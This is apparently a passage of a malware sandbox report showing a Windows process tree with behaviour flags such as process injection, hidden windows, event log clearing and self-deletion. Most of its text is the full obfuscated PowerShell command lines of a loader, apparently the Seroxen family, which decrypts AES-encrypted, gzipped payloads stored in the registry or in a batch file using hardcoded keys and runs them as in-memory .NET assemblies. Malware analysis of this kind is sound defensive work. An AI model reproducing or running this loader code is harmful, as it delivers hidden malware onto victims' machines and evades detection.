      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function azANg($uqXcZ){ $cbnHX=[System.Security.Cryptography.Aes]::Create(); $cbnHX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cbnHX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cbnHX.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8='); $cbnHX.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ=='); $tPnBs=$cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')(); $OoDml=$tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uqXcZ, 0, $uqXcZ.Length); $tPnBs.Dispose(); $cbnHX.Dispose(); $OoDml;}function ZoBIE($uqXcZ){ $JJhJP=New-Object System.IO.MemoryStream(,$uqXcZ); $vdOzc=New-Object System.IO.MemoryStream; $jytZc=New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::Decompress); $jytZc.CopyTo($vdOzc); $jytZc.Dispose(); $JJhJP.Dispose(); $vdOzc.Dispose(); $vdOzc.ToArray();}function svoMW($uqXcZ,$bmkZU){ $Qbemx=[System.Reflection.Assembly]::Load([byte[]]$uqXcZ); $hKpcO=$Qbemx.EntryPoint; $hKpcO.Invoke($null, $bmkZU);}$cbnHX1 = New-Object System.Security.Cryptography.AesManaged;$cbnHX1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$qqkyS = $cbnHX1.('rotpyrceDetaerC'[-1..-15] -join '')();$lBOHA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ATyLhVzuRZSCEb4Wpirnw==');$lBOHA = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA, 0, $lBOHA.Length);$lBOHA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA);$gCblT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jxrd8kgTkv+rQ6GcuP5P4TNhUXd/YatD5jiKcBcIT0w=');$gCblT = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gCblT, 0, $gCblT.Length);$gCblT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gCblT);$MoiPF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZnS96k4SmeuGyhAzp7fpWw==');$MoiPF = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MoiPF, 0, $MoiPF.Length);$MoiPF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MoiPF);$PmWDJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCPOtqi4Y0DHQO+ihrY+tfIA7KnzyLYON20gPk0kvAP3y03cyd2zU/RLHKMm4dM6miTpImJEXMvK5Ggjj2LKCQ4SSFHwGxmglt1SMUPjSK+drIxEtX4mexjiOxAVt5hWwlMGrlZidNK9ok2N8XEffv/1J4rSh4rld11EYjLJ/EqrETJJ/SK7FsEba8MZDrZmivgISTeVHPS3niBfrUxu7eCU1VGHwlMJF+Ti21Blzly9FDtJX1BJyI7HDF41aMNiBAv7QMVOh2ED3EL9cQpTbxxZqgVOuJx5b1TnO3H1N7w45jg/R3WZydYVfBzEcU/69pMim+aKYKIqJ2KBEbOIDe2AJfMjwI6kE1B0Xstrl2rDks6tpr0UxeE/8oCeuGdWFB8W0t6bAdeLc3ymya/QBPDCzB2PIPhfkaAFz4KkDOE=');$PmWDJ = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PmWDJ, 0, $PmWDJ.Length);$PmWDJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PmWDJ);$JCxOf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vPyiOLDgG9SqnslKLhN0jg==');$JCxOf = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JCxOf, 0, $JCxOf.Length);$JCxOf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JCxOf);$NdBND = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n/Gxi+/N6OsDAKE3yo1SmA==');$NdBND = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NdBND, 0, $NdBND.Length);$NdBND = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NdBND);$VXJOL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p0Y7zegza2XZHoFsuX1Pog==');$VXJOL = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VXJOL, 0, $VXJOL.Length);$VXJOL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VXJOL);$nzWLe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ibAuWzVfc3wceZVYaYIFNA==');$nzWLe = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nzWLe, 0, $nzWLe.Length);$nzWLe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nzWLe);$RpMjm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McPgfhEQWUWFSryKG8gAkw==');$RpMjm = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpMjm, 0, $RpMjm.Length);$RpMjm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RpMjm);$lBOHA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IDuGQC5iWJNXZjqVT0zydA==');$lBOHA0 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA0, 0, $lBOHA0.Length);$lBOHA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA0);$lBOHA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y2C7a55flzCR+6ndfHJBbQ==');$lBOHA1 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA1, 0, $lBOHA1.Length);$lBOHA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA1);$lBOHA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zGGWTwppPD1/U4shRzPOLg==');$lBOHA2 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA2, 0, $lBOHA2.Length);$lBOHA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA2);$lBOHA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ylf1zOgubGQAutCaP2Nj9w==');$lBOHA3 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA3, 0, $lBOHA3.Length);$lBOHA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA3);$qqkyS.Dispose();$cbnHX1.Dispose();if (@(get-process -ea silentlycontinue $lBOHA3).count -gt 1) {exit};$veKQl = [Microsoft.Win32.Registry]::$nzWLe.$VXJOL($lBOHA).$NdBND($gCblT);$iCUMt=[string[]]$veKQl.Split('\');$dPiOe=ZoBIE(azANg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[1])));svoMW $dPiOe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$awxEY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[0]);$cbnHX = New-Object System.Security.Cryptography.AesManaged;$cbnHX.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$tPnBs = $cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')();$awxEY = $tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($awxEY, 0, $awxEY.Length);$tPnBs.Dispose();$cbnHX.Dispose();$JJhJP = New-Object System.IO.MemoryStream(, $awxEY);$vdOzc = New-Object System.IO.MemoryStream;$jytZc = New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::$lBOHA1);$jytZc.$RpMjm($vdOzc);$jytZc.Dispose();$JJhJP.Dispose();$vdOzc.Dispose();$awxEY = $vdOzc.ToArray();$ypvcV = $PmWDJ | IEX;$Qbemx = $ypvcV::$lBOHA2($awxEY);$hKpcO = $Qbemx.EntryPoint;$hKpcO.$lBOHA0($null, (, [string[]] ($MoiPF)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1628
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d64034d4-5bf8-4749-8ab3-7fc800a4fd3d}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5116
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1628).WaitForExit();[System.Threading.Thread]::Sleep(5000); function azANg($uqXcZ){ $cbnHX=[System.Security.Cryptography.Aes]::Create(); $cbnHX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cbnHX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cbnHX.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8='); $cbnHX.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ=='); $tPnBs=$cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')(); $OoDml=$tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uqXcZ, 0, $uqXcZ.Length); $tPnBs.Dispose(); $cbnHX.Dispose(); $OoDml;}function ZoBIE($uqXcZ){ $JJhJP=New-Object System.IO.MemoryStream(,$uqXcZ); $vdOzc=New-Object System.IO.MemoryStream; $jytZc=New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::Decompress); $jytZc.CopyTo($vdOzc); $jytZc.Dispose(); $JJhJP.Dispose(); $vdOzc.Dispose(); $vdOzc.ToArray();}function svoMW($uqXcZ,$bmkZU){ $Qbemx=[System.Reflection.Assembly]::Load([byte[]]$uqXcZ); $hKpcO=$Qbemx.EntryPoint; $hKpcO.Invoke($null, $bmkZU);}$cbnHX1 = New-Object System.Security.Cryptography.AesManaged;$cbnHX1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$qqkyS = $cbnHX1.('rotpyrceDetaerC'[-1..-15] -join '')();$lBOHA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ATyLhVzuRZSCEb4Wpirnw==');$lBOHA = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA, 0, $lBOHA.Length);$lBOHA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA);$gCblT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jxrd8kgTkv+rQ6GcuP5P4TNhUXd/YatD5jiKcBcIT0w=');$gCblT = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gCblT, 0, $gCblT.Length);$gCblT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gCblT);$MoiPF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZnS96k4SmeuGyhAzp7fpWw==');$MoiPF = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MoiPF, 0, $MoiPF.Length);$MoiPF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MoiPF);$PmWDJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pCPOtqi4Y0DHQO+ihrY+tfIA7KnzyLYON20gPk0kvAP3y03cyd2zU/RLHKMm4dM6miTpImJEXMvK5Ggjj2LKCQ4SSFHwGxmglt1SMUPjSK+drIxEtX4mexjiOxAVt5hWwlMGrlZidNK9ok2N8XEffv/1J4rSh4rld11EYjLJ/EqrETJJ/SK7FsEba8MZDrZmivgISTeVHPS3niBfrUxu7eCU1VGHwlMJF+Ti21Blzly9FDtJX1BJyI7HDF41aMNiBAv7QMVOh2ED3EL9cQpTbxxZqgVOuJx5b1TnO3H1N7w45jg/R3WZydYVfBzEcU/69pMim+aKYKIqJ2KBEbOIDe2AJfMjwI6kE1B0Xstrl2rDks6tpr0UxeE/8oCeuGdWFB8W0t6bAdeLc3ymya/QBPDCzB2PIPhfkaAFz4KkDOE=');$PmWDJ = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PmWDJ, 0, $PmWDJ.Length);$PmWDJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PmWDJ);$JCxOf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vPyiOLDgG9SqnslKLhN0jg==');$JCxOf = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JCxOf, 0, $JCxOf.Length);$JCxOf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JCxOf);$NdBND = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n/Gxi+/N6OsDAKE3yo1SmA==');$NdBND = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NdBND, 0, $NdBND.Length);$NdBND = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NdBND);$VXJOL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p0Y7zegza2XZHoFsuX1Pog==');$VXJOL = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VXJOL, 0, $VXJOL.Length);$VXJOL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VXJOL);$nzWLe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ibAuWzVfc3wceZVYaYIFNA==');$nzWLe = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nzWLe, 0, $nzWLe.Length);$nzWLe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nzWLe);$RpMjm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McPgfhEQWUWFSryKG8gAkw==');$RpMjm = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RpMjm, 0, $RpMjm.Length);$RpMjm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RpMjm);$lBOHA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IDuGQC5iWJNXZjqVT0zydA==');$lBOHA0 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA0, 0, $lBOHA0.Length);$lBOHA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA0);$lBOHA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y2C7a55flzCR+6ndfHJBbQ==');$lBOHA1 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA1, 0, $lBOHA1.Length);$lBOHA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA1);$lBOHA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zGGWTwppPD1/U4shRzPOLg==');$lBOHA2 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA2, 0, $lBOHA2.Length);$lBOHA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA2);$lBOHA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ylf1zOgubGQAutCaP2Nj9w==');$lBOHA3 = $qqkyS.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lBOHA3, 0, $lBOHA3.Length);$lBOHA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lBOHA3);$qqkyS.Dispose();$cbnHX1.Dispose();if (@(get-process -ea silentlycontinue $lBOHA3).count -gt 1) {exit};$veKQl = [Microsoft.Win32.Registry]::$nzWLe.$VXJOL($lBOHA).$NdBND($gCblT);$iCUMt=[string[]]$veKQl.Split('\');$dPiOe=ZoBIE(azANg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[1])));svoMW $dPiOe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$awxEY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iCUMt[0]);$cbnHX = New-Object System.Security.Cryptography.AesManaged;$cbnHX.Mode = [System.Security.Cryptography.CipherMode]::CBC;$cbnHX.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$cbnHX.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fck+xvSlv2Uh8IsfxUtlDpIoi71iImwYPR/jJfxqvy8=');$cbnHX.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e5olPyymclPw88cZyGmHAQ==');$tPnBs = $cbnHX.('rotpyrceDetaerC'[-1..-15] -join '')();$awxEY = $tPnBs.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($awxEY, 0, $awxEY.Length);$tPnBs.Dispose();$cbnHX.Dispose();$JJhJP = New-Object System.IO.MemoryStream(, $awxEY);$vdOzc = New-Object System.IO.MemoryStream;$jytZc = New-Object System.IO.Compression.GZipStream($JJhJP, [IO.Compression.CompressionMode]::$lBOHA1);$jytZc.$RpMjm($vdOzc);$jytZc.Dispose();$JJhJP.Dispose();$vdOzc.Dispose();$awxEY = $vdOzc.ToArray();$ypvcV = $PmWDJ | IEX;$Qbemx = $ypvcV::$lBOHA2($awxEY);$hKpcO = $Qbemx.EntryPoint;$hKpcO.$lBOHA0($null, (, [string[]] ($MoiPF)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4500
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{e86c8f44-5273-40fa-a2c3-0c11c3ffcf77}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4232
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{f24bacec-aa5c-4f11-b669-c8649b14fdd1}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4896
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{5c0b9ae9-7fd7-4345-acbf-d792db8ed631}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6820
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{2a3b2a58-7e69-4f0b-a8b4-5f3a5fa410e0}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6264
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{ed48770d-1b6e-40fc-ac80-6a479029a705}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5212
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{fc4af693-5079-4081-ad0c-c40f6de752ea}
        5⤵
        
        PID:6984
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6984 -s 456
        6⤵
        Drops file in Windows directory
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:6568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1464
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2180

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2260

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Suspicious use of UnmapMainImage
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3132

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\obf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2516
- - C:\Users\Admin\AppData\Local\Temp\obf.bat.exe
    "obf.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function HALHE($yTDPE){ $NpAgJ=[System.Security.Cryptography.Aes]::Create(); $NpAgJ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $NpAgJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $NpAgJ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KT4+8mqWp9mT8M7YaX9PKBmYOaH/S9IG/t7SaNzb8nc='); $NpAgJ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ipSxnntDZAXPbqFp55MXpg=='); $UhnRU=$NpAgJ.CreateDecryptor(); $return_var=$UhnRU.TransformFinalBlock($yTDPE, 0, $yTDPE.Length); $UhnRU.Dispose(); $NpAgJ.Dispose(); $return_var;}function jBDIr($yTDPE){ $vfOYg=New-Object System.IO.MemoryStream(,$yTDPE); $LhXxI=New-Object System.IO.MemoryStream; $sDOWy=New-Object System.IO.Compression.GZipStream($vfOYg, [IO.Compression.CompressionMode]::Decompress); $sDOWy.CopyTo($LhXxI); $sDOWy.Dispose(); $vfOYg.Dispose(); $LhXxI.Dispose(); $LhXxI.ToArray();}function RGDOE($yTDPE,$wojHL){ $scBKd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yTDPE); $pXHJr=$scBKd.EntryPoint; $pXHJr.Invoke($null, $wojHL);}$OtKzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\obf.bat').Split([Environment]::NewLine);foreach ($HiLlo in $OtKzy) { if ($HiLlo.StartsWith('SEROXEN')) { $ECbBh=$HiLlo.Substring(7); break; }}$yxeHH=[string[]]$ECbBh.Split('\');$SDiTm=jBDIr (HALHE ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yxeHH[0])));$euhkW=jBDIr (HALHE ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yxeHH[1])));RGDOE $euhkW (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));RGDOE $SDiTm (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Deletes itself
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
